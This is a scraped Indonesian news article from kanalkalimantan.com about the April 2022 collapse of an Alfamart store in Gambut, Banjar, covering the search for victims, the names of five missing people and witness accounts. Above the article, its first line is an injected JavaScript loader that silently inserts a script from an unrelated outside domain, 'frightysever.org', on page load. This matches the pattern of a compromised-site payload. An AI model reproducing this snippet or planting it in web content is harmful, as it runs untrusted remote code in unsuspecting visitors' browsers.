(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kondisi bangunan yang ambruk total pada insiden Alfamart di Gambut, Kabupaten Banjar, menjadi kendala pencarian korban. Hal ini disampaikan Koordinator Tim Basarnas Banjarmasin, Endrow Sasmita saat melakukan evakuasi di lokasi kejadian, Senin (18/4/2022) malam.
Ia mengatakan dari hasil analisis rekaman CCTV memang dicurigai masih terdapat korban yang belum dievakuasi. Namun, pihaknya berharap kecurigaan itu salah.
“Ke depannya kita masih punya tugas untuk mengevakuasi korban yang tertinggal. Tapi mudah-mudahan kita salah, tidak ada korban yang tertinggal,” ujar Koordinator Tim Basarnas Banjarmasin, Endrow Sasmita saat dimintai keterangan.
Adapun pihaknya mengungkapkan kesulitan dalam pencarian terjadi karena reruntuhan material bangunan itu sendiri, namun pihaknya akan menurunkan excavator jika memang dibutuhkan.
Saat ini pun pihaknya telah menurunkan alat berat seperti crane dan peralatan-peralatan ekstregasi lainnya.
“Karena ini bangunan yang runtuh, sehingga kesulitan terdapat pada material bangunan itu sendiri. Namun selain dibantu oleh peralatan-peralatan ekstregasi kami juga sudah dibantu crane, kemudian jika nanti dibutuhkan kami akan bawakan excavator,” tandasnya.
Sementara itu, menurut keterangan resmi Kabid Humas Polda Kalsel, Kombes Pol Moch Rifai, terdapat total 15 korban yang 5 di antara masih belum ditemukan.
Pihaknya masih bekerja sama dengan Damkar, Tim Basarnas hingga TNI untuk menganalisis keberadaan 5 korban yang tersisa.
Adapun lima korban yang belum ditemukan atas nama Ahmas Nayada (25) beralamat di Banyiur Luar, Isnawati (22) warga Jalan Gotong Royong Gambut, Arini (31) warga Jalan Irigasi Komplek Arisa, Misnawati (25) warga Jalan Gambut Komplek Gotong Royong, dan Hanafi (22) yang merupakan karyawan Alfamart.
Sementara itu dirinya menerangkan kesaksian dari dua orang warga yang melihat sebelum peristiwa runtuhnya bangunan Alfamart ukuran 9×15 meter persegi tersebut terdengar bunyi bangunan retak sekitar 10 detik. Kemudian bangunan tiba-tiba runtuh dan menimpa karyawan dan pembeli yang berada di dalam bangunan.
“Dari saksi awal menyatakan ada retakan selama 10 detik kemudian dibarengi dengan ambruknya. Sehingga untuk penyebabnya kita masih mendalami penyelidikan dulu karena yang kita utamakan saat ini adalah evakuasi korban,” ungkapnya.
Diketahui kepolisian juga sudah mengumpulkan keterangan dua orang saksi yaitu H Salapudin yang saat kejadian tengah berada di sebelah Alfamart. Kemudian Misran seorang pembeli. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.